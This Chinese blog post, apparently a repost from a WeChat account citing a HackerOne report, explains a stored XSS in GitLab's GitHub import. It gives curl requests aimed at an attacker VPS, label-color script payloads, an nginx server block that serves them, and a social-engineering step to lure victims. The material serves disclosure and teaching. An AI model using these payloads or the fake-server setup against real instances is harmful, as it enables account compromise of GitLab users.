一个高危的xss

正文

正常情况下

在正常的GitLab操作中，使用GitLab的API导入GitHub上的项目通常涉及以下请求：

curl -kv "https://gitlab.com/api/v4/import/github" 
  --request POST 
  --header "content-type: application/json" 
  --header "PRIVATE-TOKEN: $GL_TOKEN" 
  --data '{
    "personal_access_token": "ghp_yourgithubtokenhere",
    "repo_id": "your_repo_id_here",
    "target_namespace": "your_gitlab_group",
    "new_name": "your_new_project_name",
    "github_hostname": "github.com"
}'

此请求是将GitHub上的一个仓库导入到GitLab中，其中包括GitHub的个人访问令牌、仓库ID、目标GitLab命名空间、新项目名称以及GitHub的主机名。

受攻击后

在攻击情况下，请求变更为：

curl -kv "https://gitlab.com/api/v4/import/github" 
  --request POST 
  --header "content-type: application/json" 
  --header "PRIVATE-TOKEN: $GL_TOKEN" 
  --data '{
    "personal_access_token": "ghp_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
    "repo_id": "523303538",
    "target_namespace": "group-a",
    "new_name": "xss-on-label-color",
    "github_hostname": "http://yourvps:11211"
}'

此请求将GitHub项目的导入源指向了一个攻击者控制的服务器（http://yourvps:11211），而不是官方的GitHub服务器。攻击者在此服务器上设置了恶意的标签颜色，以此执行XSS攻击。

攻击流程

1.设置攻击环境：

攻击者首先搭建一个模拟GitHub服务器，在这个服务器上配置恶意的标签颜色代码。

示例的恶意标签配置可能如下：

{
  "name": "xxx::label-name",
  "color": "">xxx-label<form class='hidden gl-show-field-errors'><input title='<script>alert(document.domain)</script>'>"
}

这段代码通过输入HTML和JavaScript混合内容，试图绕过内容安全策略（CSP）。

2.创建GitLab API请求：

使用curl发送请求，其中github_hostname字段被修改为指向攻击者的服务器。

请求中包含GitLab的个人访问令牌和GitHub的个人访问令牌，这两者通常用于验证API请求的合法性。

3.GitLab处理导入：

当GitLab尝试从攻击者控制的GitHub服务器导入项目时，它会解析并应用项目中的标签设置。

由于标签颜色字段被注入了JavaScript代码，当GitLab的Web界面加载这些标签时，恶意脚本被执行。

4.执行XSS攻击：

一旦受影响的用户查看包含恶意标签的GitLab页面，注入的JavaScript代码将执行。

示例中的JavaScript代码是<script>alert(document.domain)</script>，这将显示一个警告框，其中包含当前文档的域名，证明XSS攻击成功。

这种攻击利用了GitLab的导入功能和对标签颜色字段的不充分输入验证，通过CSP绕过来实现存储型XSS。这需要GitLab增加更严格的输入验证和适当的输出编码，以防止此类攻击。

番外篇

攻击者需要先搭建一个能模仿GitHub API响应的服务器。这通常涉及以下步骤：

a. 准备服务器环境

攻击者可能会选择一个云服务提供商（如Amazon AWS, Google Cloud等）来租用一个虚拟私人服务器(VPS)。选择Ubuntu或CentOS等流行操作系统进行部署。

b. 安装和配置Web服务器

攻击者将在VPS上安装Nginx或Apache作为Web服务器。以下是在Ubuntu上安装Nginx的命令：

sudo apt update
sudo apt install nginx

c. 配置API端点

攻击者需要配置Web服务器来模拟GitHub的API响应。这可以通过编写特定的服务器配置来实现。例如，在Nginx中，攻击者可以添加一个新的服务器块（server block）来处理请求，并返回预设的JSON数据。配置文件示例（位于 /etc/nginx/sites-available/default）可能如下：

server {
    listen 80;
    server_name your_server_ip;

    location /api/v3/repos/ {
        add_header Content-Type application/json;
        return 200 '{
            "name": "malicious_repo",
            "color": ""><script>alert('XSS')</script>"
        }';
    }
}

这个配置设定了当访问http://your_server_ip/api/v3/repos/ 时，服务器将返回包含恶意JavaScript的JSON响应。

步骤 2: 配置恶意的标签颜色代码

在模拟的GitHub API中，攻击者需要确保返回的数据包含恶意脚本。具体到标签颜色，攻击者可以在API响应中直接嵌入恶意代码：

{
    "name": "xxx::label-name",
    "color": ""><script>alert(document.domain)</script>"
}

这段JSON是被设计为响应GitLab发起的对GitHub API的查询请求。它假装是一个正常的标签颜色设置，但实际上插入了一个XSS攻击脚本。

步骤 3: 引诱受害者发送请求

攻击者现在需要诱导GitLab的用户（可能是通过社交工程或其他方法）使用攻击者控制的服务器作为GitHub的源来导入项目。这可以通过提供一段精心设计的curl命令来完成，如先前示例所示，指向攻击者的服务器。

步骤 4: 触发XSS

当GitLab处理从攻击者服务器导入的数据时，恶意的JavaScript代码将被GitLab的Web应用加载并执行，从而完成XSS攻击。

参考

https://hackerone.com/reports/1693150

原文始发于微信公众号（迪哥讲事）：一个高危的xss